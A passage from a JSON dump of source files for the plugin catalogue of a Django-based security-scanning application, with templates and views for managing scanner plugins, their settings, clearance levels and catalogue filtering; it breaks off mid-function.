    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>\n                    {% blocktranslate count form.fields|length as count trimmed %}\n                        Add setting\n                    {% plural %}\n                        Add settings\n                    {% endblocktranslate %}\n                </h1>\n                <p class=\"emphasized\">\n                    {% blocktranslate count form.fields|length as count trimmed %}\n                        Setting\n                    {% plural %}\n                        Settings\n                    {% endblocktranslate %}\n                </p>\n                <div class=\"layout-form\">\n                    <form novalidate method=\"post\" class=\"help\">\n                        {% csrf_token %}\n                        {% include \"partials/form/form_errors.html\" with form=form %}\n                        {% include \"partials/form/fieldset.html\" with legend=name fields=form %}\n\n                        <div class=\"button-container\">\n                            <button type=\"submit\" name=\"add-enable\">\n                                {% blocktranslate count form.fields|length as count trimmed %}\n                                    Add setting and enable boefje\n                                {% plural %}\n                                    Add settings and enable boefje\n                                {% endblocktranslate %}\n                            </button>\n                            <button type=\"submit\" class=\"ghost\" name=\"add\">\n                                {% blocktranslate count form.fields|length as count trimmed %}\n                                    Add setting\n                                {% plural %}\n                                    Add settings\n                                {% endblocktranslate %}\n                            </button>\n                        </div>\n                    </form>\n                </div>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/plugin_settings_delete.html",
    "content": "{% extends \"layouts/base.html\" %}\n\n{% load static %}\n{% load i18n %}\n\n{% block content %}\n    {% include \"header.html\" %}\n\n    <main id=\"main-content\">\n        <section>\n            <div>\n                <h1>{% translate \"Delete settings\" %}</h1>\n                <p>\n                    {% blocktranslate trimmed %}\n                        Are you sure you want to delete all settings for the plugin {{ plugin_name }}?\n                    {% endblocktranslate %}\n                </p>\n                <form class=\"inline\" method=\"post\">\n                    {% csrf_token %}\n                    <div class=\"button-container\">\n                        <button type=\"submit\">{% translate \"Delete\" %}</button>\n                        <a href=\"{{ cancel_url }}\" class=\"button ghost\">{% translate \"Cancel\" %}</a>\n                    </div>\n                </form>\n            </div>\n        </section>\n    </main>\n{% endblock content %}\n"
  },
  {
    "path": "rocky/katalogus/templates/plugin_settings_list.html",
    "content": "{% load static %}\n{% load i18n %}\n\n{% if object_list %}\n    <div>\n        <div class=\"introduction\">\n            <div>\n                <h2>{% translate \"Settings\" %}</h2>\n                <p>\n                    {% blocktranslate trimmed %}\n                        In the table below the settings for this specific Boefje can be seen.\n                        Set or change the value of the variables by editing the settings.\n                    {% endblocktranslate %}\n                </p>\n            </div>\n            <div class=\"horizontal-view toolbar\">\n                <a class=\"button ghost\"\n                   href=\"{% url 'plugin_settings_add' organization_code=organization.code plugin_type=plugin.type plugin_id=plugin.id %}\"><span class=\"icon ti-settings\"></span>{% translate \"Configure Settings\" %}</a>\n            </div>\n        </div>\n        <div class=\"horizontal-scroll\">\n            <table>\n                <caption class=\"visually-hidden\">{% translate \"Overview of settings\" %}</caption>\n                <thead>\n                    <tr>\n                        <th scope=\"col\">{% translate \"Variable\" %}</th>\n                        <th scope=\"col\">{% translate \"Value\" %}</th>\n                    </tr>\n                </thead>\n                <tbody>\n                    {% for setting in object_list %}\n                        <tr>\n                            <td>{{ setting.name }}</td>\n                            <td>\n                                {% if setting.value is None %}\n                                    -\n                                {% elif setting.secret %}\n                                    •••••••••••••\n                                {% else %}\n                                    {{ setting.value }}\n                                {% endif %}\n                            </td>\n                        </tr>\n                    {% endfor %}\n                </tbody>\n            </table>\n        </div>\n    </div>\n{% endif %}\n"
  },
  {
    "path": "rocky/katalogus/urls.py",
    "content": "from django.urls import path, re_path\n\nfrom katalogus.views.boefje_setup import AddBoefjeVariantView, AddBoefjeView, EditBoefjeView\nfrom katalogus.views.change_clearance_level import ChangeClearanceLevel\nfrom katalogus.views.katalogus import (\n    AboutPluginsView,\n    BoefjeListView,\n    KATalogusLandingView,\n    KATalogusView,\n    NormalizerListView,\n)\nfrom katalogus.views.katalogus_settings import ConfirmCloneSettingsView, KATalogusSettingsView\nfrom katalogus.views.plugin_detail import BoefjeDetailView, NormalizerDetailView, PluginCoverImgView\nfrom katalogus.views.plugin_enable_disable import PluginEnableDisableView\nfrom katalogus.views.plugin_settings_add import PluginSettingsAddView\nfrom katalogus.views.plugin_settings_delete import PluginSettingsDeleteView\n\nurlpatterns = [\n    path(\"\", KATalogusLandingView.as_view(), name=\"katalogus\"),\n    path(\"settings/\", KATalogusSettingsView.as_view(), name=\"katalogus_settings\"),\n    path(\"settings/migrate/\", KATalogusSettingsView.as_view(), name=\"katalogus_clone_settings\"),\n    path(\n        \"settings/migrate/confirmation/<to_organization>/\",\n        ConfirmCloneSettingsView.as_view(),\n        name=\"confirm_clone_settings\",\n    ),\n    path(\"plugins/boefjes/add/\", AddBoefjeView.as_view(), name=\"boefje_setup\"),\n    path(\"plugins/boefjes/add-variant/<plugin_id>/\", AddBoefjeVariantView.as_view(), name=\"boefje_variant_setup\"),\n    re_path(r\"^plugins/boefjes/(?P<view_type>(grid|table))/$\", BoefjeListView.as_view(), name=\"boefjes_list\"),\n    path(\"plugins/normalizers/<view_type>/\", NormalizerListView.as_view(), name=\"normalizers_list\"),\n    path(\"plugins/all/<view_type>/\", KATalogusView.as_view(), name=\"all_plugins_list\"),\n    path(\"plugins/about-plugins/\", AboutPluginsView.as_view(), name=\"about_plugins\"),\n    path(\"plugins/boefje/<plugin_id>/\", BoefjeDetailView.as_view(), name=\"boefje_detail\"),\n    path(\"plugins/boefje/<plugin_id>/edit/\", EditBoefjeView.as_view(), name=\"edit_boefje\"),\n    path(\"plugins/normalizer/<plugin_id>/\", NormalizerDetailView.as_view(), name=\"normalizer_detail\"),\n    path(\n        \"plugins/<plugin_type>/<plugin_id>/<plugin_state>/\",\n        PluginEnableDisableView.as_view(),\n        name=\"plugin_enable_disable\",\n    ),\n    path(\"plugins/<plugin_id>/cover.jpg\", PluginCoverImgView.as_view(), name=\"plugin_cover\"),\n    path(\n        \"plugins/<plugin_type>/<plugin_id>/change-clearance-level/<scan_level>/\",\n        ChangeClearanceLevel.as_view(),\n        name=\"change_clearance_level\",\n    ),\n    path(\n        \"plugins/<plugin_type>/<plugin_id>/settings/add/\", PluginSettingsAddView.as_view(), name=\"plugin_settings_add\"\n    ),\n    path(\n        \"plugins/<plugin_type>/<plugin_id>/settings/delete/\",\n        PluginSettingsDeleteView.as_view(),\n        name=\"plugin_settings_delete\",\n    ),\n]\n"
  },
  {
    "path": "rocky/katalogus/views/__init__.py",
    "content": ""
  },
  {
    "path": "rocky/katalogus/views/boefje_setup.py",
    "content": "import uuid\nfrom datetime import datetime\nfrom urllib.parse import urlencode\n\nimport structlog\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom django.urls import reverse\nfrom django.views.generic.edit import FormView\nfrom tools.forms.boefje import BoefjeSetupForm\n\nfrom katalogus.client import Boefje, DuplicatePluginError, KATalogusNotAllowedError\nfrom octopoes.models.types import type_by_name\n\nlogger = structlog.get_logger(__name__)\n\n\nclass BoefjeSetupView(OrganizationPermissionRequiredMixin, OrganizationView, FormView):\n    \"\"\"Setup view for creating new Boefjes and variants\"\"\"\n\n    template_name = \"boefje_setup.html\"\n    form_class = BoefjeSetupForm\n    permission_required = \"tools.can_add_boefje\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        self.plugin_id = str(uuid.uuid4())\n        self.created: str | None = str(datetime.now())\n        self.query_params = urlencode({\"new_variant\": True})\n\n    def get_success_url(self) -> str:\n        return (\n            reverse(\"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin_id})\n            + \"?\"\n            + self.query_params\n        )\n\n\nclass AddBoefjeView(BoefjeSetupView):\n    \"\"\"View where the user can create a new Boefje\"\"\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}), \"text\": \"KAT-alogus\"},\n            {\n                \"url\": reverse(\"boefje_setup\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": \"Boefje setup\",\n            },\n        ]\n\n        return context\n\n    def form_valid(self, form):\n        form_data = form.cleaned_data\n        plugin = create_boefje_with_form_data(form_data, self.plugin_id, self.created)\n\n        try:\n            self.katalogus_client.create_plugin(plugin)\n            return super().form_valid(form)\n        except DuplicatePluginError as error:\n            if \"name\" in error.message:\n                form.add_error(\"name\", (\"Boefje with this name does already exist. Please choose another name.\"))\n            return self.form_invalid(form)\n\n\nclass AddBoefjeVariantView(BoefjeSetupView):\n    \"\"\"View where the user can create a Boefje variant, based on another Boefje.\"\"\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n\n        self.based_on_plugin_id = self.kwargs.get(\"plugin_id\")\n\n        self.plugin = self.katalogus_client.get_plugin(self.based_on_plugin_id)\n\n    def get_initial(self):\n        initial = super().get_initial()\n\n        consumes = []\n\n        for input_object in self.plugin.consumes:\n            consumes.append(input_object.__name__)\n\n        initial[\"oci_image\"] = self.plugin.oci_image\n        initial[\"oci_arguments\"] = \" \".join(self.plugin.oci_arguments)\n        initial[\"boefje_schema\"] = self.plugin.boefje_schema\n        initial[\"consumes\"] = consumes\n        initial[\"produces\"] = \", \".join(self.plugin.produces)\n        initial[\"scan_level\"] = self.plugin.scan_level\n        initial[\"interval_number\"] = self.plugin.interval\n        initial[\"interval_frequency\"] = \"minutes\"\n        initial[\"run_on\"] = \"-\".join(self.plugin.run_on) if self.plugin.run_on else None\n\n        initial[\"scan_type\"] = \"interval\"\n        if self.plugin.run_on:\n            initial[\"scan_type\"] = \"run_on\"\n\n        return initial\n\n    def form_valid(self, form):\n        form_data = form.cleaned_data\n        plugin = create_boefje_with_form_data(form_data, self.plugin_id, self.created)\n\n        try:\n            self.katalogus_client.create_plugin(plugin)\n            return super().form_valid(form)\n        except DuplicatePluginError as error:\n            if \"name\" in error.message:\n                form.add_error(\"name\", (\"Boefje with this name does already exist. Please choose another name.\"))\n            return self.form_invalid(form)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"boefje_variant\"] = True\n        context[\"return_to_plugin_id\"] = self.based_on_plugin_id\n\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}), \"text\": \"KAT-alogus\"},\n            {\n                \"url\": reverse(\n                    \"boefje_detail\",\n                    kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.based_on_plugin_id},\n                ),\n                \"text\": \"Boefje detail page\",\n            },\n            {\n                \"url\": reverse(\n                    \"boefje_variant_setup\",\n                    kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.based_on_plugin_id},\n                ),\n                \"text\": \"Boefje variant setup\",\n            },\n        ]\n\n        return context\n\n\nclass EditBoefjeView(BoefjeSetupView):\n    \"\"\"View where the user can update a Boefje.\"\"\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n\n        self.plugin_id = self.kwargs.get(\"plugin_id\")\n        self.query_params = urlencode({\"new_variant\": False})\n        self.plugin = self.katalogus_client.get_plugin(self.plugin_id)\n        self.created = self.plugin.created\n\n    def get_initial(self):\n        initial = super().get_initial()\n\n        consumes = []\n\n        for input_object in self.plugin.consumes:\n            consumes.append(input_object.__name__)\n\n        initial[\"name\"] = self.plugin.name\n        initial[\"description\"] = self.plugin.description\n        initial[\"oci_image\"] = self.plugin.oci_image\n        initial[\"oci_arguments\"] = \" \".join(self.plugin.oci_arguments)\n        initial[\"boefje_schema\"] = self.plugin.boefje_schema\n        initial[\"consumes\"] = consumes\n        initial[\"produces\"] = \", \".join(self.plugin.produces)\n        initial[\"scan_level\"] = self.plugin.scan_level\n        initial[\"interval_number\"] = self.plugin.interval\n        initial[\"interval_frequency\"] = \"minutes\"\n        initial[\"run_on\"] = \"-\".join(self.plugin.run_on) if self.plugin.run_on else None\n\n        initial[\"scan_type\"] = \"interval\"\n        if self.plugin.run_on:\n            initial[\"scan_type\"] = \"run_on\"\n\n        return initial\n\n    def form_valid(self, form):\n        form_data = form.cleaned_data\n        plugin = create_boefje_with_form_data(form_data, self.plugin_id, self.created)\n\n        try:\n            self.katalogus_client.edit_plugin(plugin)\n            return super().form_valid(form)\n        except DuplicatePluginError as error:\n            if \"name\" in error.message:\n                form.add_error(\"name\", (\"Boefje with this name does already exist. Please choose another name.\"))\n            return self.form_invalid(form)\n        except KATalogusNotAllowedError:\n            form.add_error(\n                \"name\",\n                (\n                    \"Editing this Boefje is not allowed because it is static. \"\n                    \"Please create a new variant of this static Boefje.\"\n                ),\n            )\n            return self.form_invalid(form)\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"edit_boefje_name\"] = self.plugin.name\n        context[\"return_to_plugin_id\"] = self.plugin.id\n\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}), \"text\": \"KAT-alogus\"},\n            {\n                \"url\": reverse(\n                    \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n                ),\n                \"text\": self.plugin.name,\n            },\n            {\n                \"url\": reverse(\n                    \"edit_boefje\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n                ),\n                \"text\": 'Edit \"' + self.plugin.name + '\"',\n            },\n        ]\n\n        return context\n\n\ndef create_boefje_with_form_data(form_data, plugin_id: str, created: str | None):\n    arguments = [] if not form_data[\"oci_arguments\"] else form_data[\"oci_arguments\"].split()\n    consumes = [] if not form_data[\"consumes\"] else form_data[\"consumes\"].strip(\"[]\").replace(\"'\", \"\").split(\", \")\n    produces = [] if not form_data[\"produces\"] else form_data[\"produces\"].split(\",\")\n    produces = {p.strip() for p in produces}\n    interval = None\n    run_on = None\n\n    if form_data[\"scan_type\"] == \"interval\" and form_data.get(\"interval_number\"):\n        interval = get_interval_minutes(int(form_data[\"interval_number\"]), form_data[\"interval_frequency\"])\n    elif form_data[\"scan_type\"] == \"run_on\":\n        run_on = form_data[\"run_on\"].split(\"-\")\n\n    input_objects = set()\n\n    for input_object in consumes:\n        input_objects.add(type_by_name(input_object))\n\n    return Boefje(\n        id=str(plugin_id),\n        name=form_data[\"name\"],\n        created=created,\n        description=form_data[\"description\"],\n        interval=interval,\n        run_on=run_on,\n        enabled=False,\n        type=\"boefje\",\n        scan_level=form_data[\"scan_level\"],\n        consumes=input_objects,\n        produces=produces,\n        boefje_schema=form_data[\"boefje_schema\"],\n        oci_image=form_data[\"oci_image\"],\n        oci_arguments=arguments,\n    )\n\n\ndef get_interval_minutes(interval_number, interval_frequency) -> int | None:\n    if interval_frequency == \"minutes\":\n        return int(interval_number)\n    if interval_frequency == \"hours\":\n        return int(interval_number * 60)\n    if interval_frequency == \"days\":\n        return int(interval_number * 60 * 24)\n    if interval_frequency == \"weeks\":\n        return int(interval_number * 60 * 24 * 7)\n    if interval_frequency == \"years\":\n        return int(interval_number * 60 * 24 * 365)\n\n    return None\n"
  },
  {
    "path": "rocky/katalogus/views/change_clearance_level.py",
    "content": "from account.mixins import OrganizationPermissionRequiredMixin\nfrom django.contrib import messages\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import TemplateView\n\nfrom katalogus.views.mixins import SinglePluginView\nfrom rocky.views.scheduler import SchedulerView\n\n\nclass ChangeClearanceLevel(OrganizationPermissionRequiredMixin, SchedulerView, SinglePluginView, TemplateView):\n    template_name = \"change_clearance_level.html\"\n    permission_required = \"tools.can_set_clearance_level\"\n    task_type = \"boefje\"\n\n    def setup(self, request, *args, **kwargs):\n        super().setup(request, *args, **kwargs)\n        if \"selected_oois\" in request.session:\n            self.selected_oois = request.session[\"selected_oois\"]\n            self.oois = self.get_oois_objects_from_text_oois(self.selected_oois)\n\n    def get(self, request, *args, **kwargs):\n        if \"selected_oois\" not in request.session:\n            messages.add_message(\n                self.request, messages.ERROR, _(\"Session has terminated, please select objects again.\")\n            )\n            return redirect(\n                reverse(\n                    \"boefje_detail\",\n                    kwargs={\"organization_code\": self.organization.code, \"plugin_id\": kwargs[\"plugin_id\"]},\n                )\n            )\n        return super().get(request, *args, **kwargs)\n\n    def post(self, request, *args, **kwargs):\n        \"\"\"Start scanning oois at plugin detail page.\"\"\"\n        if not self.indemnification_present:\n            return self.get(request, *args, **kwargs)\n\n        self.run_boefje_for_oois(boefje=self.plugin, oois=self.oois)\n\n        del request.session[\"selected_oois\"]  # delete session\n        return redirect(reverse(\"task_list\", kwargs={\"organization_code\": self.organization.code}))\n\n    def get_oois_objects_from_text_oois(self, oois):\n        return [self.get_single_ooi(pk=ooi_id) for ooi_id in oois]\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"plugin\"] = self.plugin.model_dump()\n        context[\"oois\"] = self.oois\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"KAT-alogus\"),\n            },\n            {\n                \"url\": reverse(\n                    \"boefje_detail\", kwargs={\"organization_code\": self.organization.code, \"plugin_id\": self.plugin.id}\n                ),\n                \"text\": self.plugin.name,\n            },\n            {\n                \"url\": reverse(\n                    \"change_clearance_level\",\n                    kwargs={\n                        \"organization_code\": self.organization.code,\n                        \"plugin_type\": self.plugin.type,\n                        \"plugin_id\": self.plugin.id,\n                        \"scan_level\": self.plugin.scan_level.value,\n                    },\n                ),\n                \"text\": _(\"Change clearance level\"),\n            },\n        ]\n        return context\n"
  },
  {
    "path": "rocky/katalogus/views/katalogus.py",
    "content": "from typing import Any\n\nfrom account.mixins import OrganizationView\nfrom django.http import HttpRequest, HttpResponse\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView, ListView, TemplateView\n\nfrom katalogus.forms import KATalogusFilter\n\n\nclass KATalogusLandingView(OrganizationView):\n    \"\"\"\n    Landing page for KAT-alogus.\n    \"\"\"\n\n    def get(self, request: HttpRequest, *args: Any, **kwargs: Any) -> HttpResponse:\n        return redirect(\n            reverse(\n                \"boefjes_list\",\n                kwargs={\"organization_code\": self.organization.code, \"view_type\": self.kwargs.get(\"view_type\", \"grid\")},\n            )\n        )\n\n\nclass BaseKATalogusView(OrganizationView, ListView, FormView):\n    form_class = KATalogusFilter\n\n    def get_initial(self) -> dict[str, Any]:\n        initial = super().get_initial()\n        initial[\"sorting_options\"] = self.request.GET.get(\"sorting_options\", \"a-z\")\n        initial[\"filter_options\"] = self.request.GET.get(\"filter_options\", \"all\")\n        return initial\n\n    def filter_katalogus(self, queryset):\n        if \"filter_options\" in self.request.GET:\n            filter_options = self.request.GET.get(\"filter_options\")\n            queryset = self.filter_queryset(queryset, filter_options)\n        if \"sorting_options\" in self.request.GET:\n            sorting_options = self.request.GET[\"sorting_options\"]\n            queryset = self.sort_queryset(queryset, sorting_options)\n        return queryset\n\n    def filter_queryset(self, queryset, filter_options):\n        if filter_options == \"all\":\n            return queryset\n        if filter_options == \"enabled\":\n            return [plugin for plugin in queryset if plugin.enabled]\n        if filter_options == \"disabled\":\n            return [plugin for plugin in queryset if not plugin.enabled]\n\n    def sort_queryset(self, queryset, sort_options):\n        if sort_options == \"a-z\":\n            return queryset\n        if sort_options == \"z-a\":\n            return queryset[::-1]\n        if sort_options == \"enabled-disabled\":\n            return sorted(queryset, key=lambda item: not item.enabled)\n        if sort_options == \"disabled-enabled\":\n            return sorted(queryset, key=lambda item: item.enabled)\n\n    def sort_alphabetic_ascending(self, queryset):\n        return sorted(queryset, key=lambda item: item.name.lower())\n\n    def count_active_filters(self):\n        filter_options = self.request.GET.get(\"filter_options\")\n        sortin_options = self.request.GET.get(\"sorting_options\")\n        count_filter_options = 1 if filter_options and filter_options != \"all\" else 0\n        count_sorting_options = 1 if sortin_options and sortin_options != \"a-z\" else 0\n        return count_filter_options + count_sorting_options\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"view_type\"] = self.kwargs.get(\"view_type\", \"grid\")\n        context[\"url_name\"] = self.request.resolver_match.url_name\n        context[\"active_filters_counter\"] = self.count_active_filters()\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"KAT-alogus\")}\n        ]\n        return context\n\n\nclass KATalogusView(BaseKATalogusView):\n    \"\"\"View of all plugins in KAT-alogus\"\"\"\n\n    template_name = \"katalogus.html\"\n\n    def get_queryset(self):\n        queryset = self.sort_alphabetic_ascending(self.katalogus_client.get_plugins())\n        return self.filter_katalogus(queryset)\n\n\nclass BoefjeListView(BaseKATalogusView):\n    \"\"\"Showing only Boefjes in KAT-alogus\"\"\"\n\n    template_name = \"boefjes.html\"\n\n    def get_queryset(self):\n        queryset = self.sort_alphabetic_ascending(self.katalogus_client.get_boefjes())\n        return self.filter_katalogus(queryset)\n\n\nclass NormalizerListView(BaseKATalogusView):\n    \"\"\"Showing only Normalizers in KAT-alogus\"\"\"\n\n    template_name = \"normalizers.html\"\n\n    def get_queryset(self):\n        queryset = self.sort_alphabetic_ascending(self.katalogus_client.get_normalizers())\n        return self.filter_katalogus(queryset)\n\n\nclass AboutPluginsView(OrganizationView, TemplateView):\n    template_name = \"about_plugins.html\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"view_type\"] = self.kwargs.get(\"view_type\", \"grid\")\n        context[\"breadcrumbs\"] = [\n            {\"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}), \"text\": _(\"KAT-alogus\")}\n        ]\n        return context\n"
  },
  {
    "path": "rocky/katalogus/views/katalogus_settings.py",
    "content": "from account.forms.organization import OrganizationListForm\nfrom account.mixins import OrganizationPermissionRequiredMixin, OrganizationView\nfrom account.models import KATUser\nfrom django.contrib import messages\nfrom django.contrib.auth.mixins import UserPassesTestMixin\nfrom django.http import HttpResponseRedirect\nfrom django.urls import reverse\nfrom django.urls.base import reverse_lazy\nfrom django.utils.translation import gettext_lazy as _\nfrom django.views.generic import FormView, TemplateView\nfrom httpx import HTTPError\nfrom structlog import get_logger\nfrom tools.models import Organization\n\nlogger = get_logger(__name__)\n\n\nclass ConfirmCloneSettingsView(\n    OrganizationPermissionRequiredMixin, OrganizationView, UserPassesTestMixin, TemplateView\n):\n    template_name = \"confirmation_clone_settings.html\"\n    permission_required = \"tools.can_set_katalogus_settings\"\n\n    def test_func(self):\n        user: KATUser = self.request.user\n        return self.kwargs[\"to_organization\"] in {org.code for org in user.organizations}\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"to_organization\"] = Organization.objects.get(code=kwargs[\"to_organization\"])\n\n        return context\n\n    def post(self, request, *args, **kwargs):\n        to_organization = Organization.objects.get(code=kwargs[\"to_organization\"])\n        logger.info(\"Cloning organization settings\", event_code=910000, to_organization_code=to_organization.code)\n        self.katalogus_client.clone_all_configuration_to_organization(to_organization.code)\n        messages.add_message(\n            self.request,\n            messages.SUCCESS,\n            _(\"Settings from {} to {} successfully cloned.\").format(self.organization.name, to_organization.name),\n        )\n        return HttpResponseRedirect(reverse(\"katalogus_settings\", kwargs={\"organization_code\": self.organization.code}))\n\n\nclass KATalogusSettingsView(OrganizationPermissionRequiredMixin, OrganizationView, FormView):\n    \"\"\"View that gives an overview of all plugins settings\"\"\"\n\n    template_name = \"katalogus_settings.html\"\n    permission_required = \"tools.can_view_katalogus_settings\"\n    plugin_type = \"boefjes\"\n\n    def get_context_data(self, **kwargs):\n        context = super().get_context_data(**kwargs)\n        context[\"breadcrumbs\"] = [\n            {\n                \"url\": reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"KAT-alogus\"),\n            },\n            {\n                \"url\": reverse(\"katalogus_settings\", kwargs={\"organization_code\": self.organization.code}),\n                \"text\": _(\"Settings\"),\n            },\n        ]\n        context[\"plugin_type\"] = self.plugin_type\n        context[\"settings\"] = self.get_settings()\n\n        return context\n\n    def get_settings(self):\n        all_plugins_settings = []\n\n        for boefje in self.katalogus_client.get_boefjes():\n            try:\n                plugin_setting = self.katalogus_client.get_plugin_settings(boefje.id)\n            except HTTPError:\n                messages.add_message(\n                    self.request, messages.ERROR, _(\"Failed getting settings for boefje {}\").format(self.plugin.id)\n                )\n                continue\n\n            if not plugin_setting:\n                continue\n\n            for key, value in plugin_setting.items():\n                all_plugins_settings.append(\n                    {\"plugin_id\": boefje.id, \"plugin_name\": boefje.name, \"name\": key, \"value\": value}\n                )\n\n        return all_plugins_settings\n\n    def get_form(self, form_class=None):\n        return OrganizationListForm(\n            user=self.request.user, exclude_organization=self.organization, **self.get_form_kwargs()\n        )\n\n    def form_valid(self, form):\n        return HttpResponseRedirect(self.get_success_url(to_organization=form.cleaned_data[\"organization\"]))\n\n    def get_success_url(self, **kwargs):\n        return reverse_lazy(\n            \"confirm_clone_settings\",\n            kwargs={\"organization_code\": self.organization.code, \"to_organization\": kwargs[\"to_organization\"]},\n        )\n"
  },
  {
    "path": "rocky/katalogus/views/mixins.py",
    "content": "from typing import Any\n\nimport structlog\nfrom account.mixins import OrganizationView\nfrom django.contrib import messages\nfrom django.http import Http404, HttpRequest\nfrom django.shortcuts import redirect\nfrom django.urls import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom httpx import HTTPError, HTTPStatusError\nfrom rest_framework.status import HTTP_404_NOT_FOUND\n\nfrom katalogus.client import Boefje, KATalogus, Plugin\n\nlogger = structlog.get_logger(__name__)\n\n\nclass SinglePluginView(OrganizationView):\n    katalogus_client: KATalogus\n    plugin: Plugin\n\n    def setup(self, request: HttpRequest, *args: Any, plugin_id: str, **kwargs: Any) -> None:\n        \"\"\"\n        Prepare organization info and KAT-alogus API client.\n        \"\"\"\n        super().setup(request, *args, plugin_id=plugin_id, **kwargs)\n\n        try:\n            self.plugin = self.katalogus_client.get_plugin(plugin_id)\n            self.plugin_schema = self.plugin.boefje_schema if isinstance(self.plugin, Boefje) else None\n        except HTTPError as exc:\n            if isinstance(exc, HTTPStatusError) and exc.response.status_code == HTTP_404_NOT_FOUND:\n                raise Http404(f\"Plugin {plugin_id} not found.\")\n            messages.add_message(\n                self.request,\n                messages.ERROR,\n                _(\"Getting information for plugin {} failed. Please check the KATalogus logs.\").format(plugin_id),\n            )\n            raise\n\n    def dispatch(self, request, *args, **kwargs):\n        if not self.plugin:\n            return redirect(reverse(\"katalogus\", kwargs={\"organization_code\": self.organization.code}))\n\n        return super().dispatch(request, *args, **kwargs)\n\n    def is_required_field(self, field: str) -> bool:\n        \"\"\"Check whether this field should be required, defaults to False.\"\"\"\n        return bool(self.plugin_schema and field in self.plugin_schema.get(\"required\", []))\n\n    def is_secret_field(self, field: str) -> bool:\n        \"\"\"Check whether this field should be secret, defaults to False.\"\"\"\n        return bool(self.plugin_schema and field in self.plugin_schema.get(\"secret\", []))\n"
  },
  {
    "path": "rocky/katalogus/views/plugin_detail.py",
    "content": "from datetime import datetime, timezone\nfrom typing import Any\n\nfrom account.mixins import OrganizationView\nfrom django.contrib import messages\nfrom django.http import FileResponse, Http404\nfrom django.shortcuts import redirect\nfrom django.urls.base import reverse\nfrom django.utils.translation import gettext_lazy as _\nfrom tools.forms.ooi import SelectOOIFilterForm, SelectOOIForm\n\nfrom katalogus.client import Boefje, Normalizer\nfrom katalogus.views.plugin_settings_list import PluginSettingsListView\nfrom octopoes.models import ScanLevel\nfrom octopoes.models.types import OOIType\nfrom rocky.scheduler import ScheduleResponse\nfrom rocky.views.tasks import TaskListView\n\n\nclass PluginCoverImgView(OrganizationView):\n    \"\"\"Get the cover image of a plugin.\"\"\"\n\n    def get(self, request, *args, **kwargs):\n        file = FileResponse(self.katalogus_client.get_cover(kwargs[\"plugin_id\"]))\n        file.headers[\"Cache-Control\"] = \"max-age=604800\"\n        return file\n\n\nclass PluginDetailView(TaskListView, PluginSettingsListView):\n    def post(self, request, *args, **kwargs):\n        if self.action == self.SCAN_OOIS:\n            selected_oois = request.POST.getlist(\"ooi\", [])\n\n            if selected_oois and self.plugin.id:\n                oois = self.get_oois(selected_oois)\n                boefje = self.katalogus_client.get_plugin(self.plugin.id)\n\n                oois_with_clearance_level = oois[\"oois_with_clearance\"]\n                oois_without_clearance_level = oois[\"oois_without_clearance\"]\n\n                if oois_with_clearance_level:\n                    self.run_boefje_for_oois(boefje=boefje, oois=oois_with_clearance_level)\n\n                if oois_without_clearance_level:\n                    if not self.organization_member.has_perm(\"tools.can_set_clearance_level\"):\n                        messages.error(\n                            request,\n                            _(\n                                \"Some selected OOIs needs an increase of clearance level to perform scans.\"\n                                \" You do not have the permission to change clearance level.\"\n                            ),\n                        )\n                    else:\n                        request.session[\"selected_oois\"] = oois_without_clearance_level\n                        return redirect(\n                            reverse(\n                                \"change_clearance_level\",\n                                kwargs={\n                                    \"plugin_type\": \"boefje\",\n                                    \"organization_code\": self.organization.code,\n                                    \"plugin_id\": self.plugin.id,\n                                    \"scan_level\": self.plugin.scan_level.value,\n                                },\n                            )\n                        )\n        return super().post(request, *args, **kwargs)\n\n    def get_task_filters(self) -> dict[str, str | datetime | None]:\n        filters = super().get_task_filters()\n        filters[\"filters\"][\"filters\"][\"and\"].append(\n            {\"column\": \"data\", \"field\": f\"{self.task_type}__id\", \"operator\": \"==\", \"value\": self.plugin.id}\n        )\n        return filters\n\n    def get_oois(self, selected_oois: list[str]) -> dict[str, Any]:\n        oois_with_clearance = []\n        oois_without_clearance = []\n        for 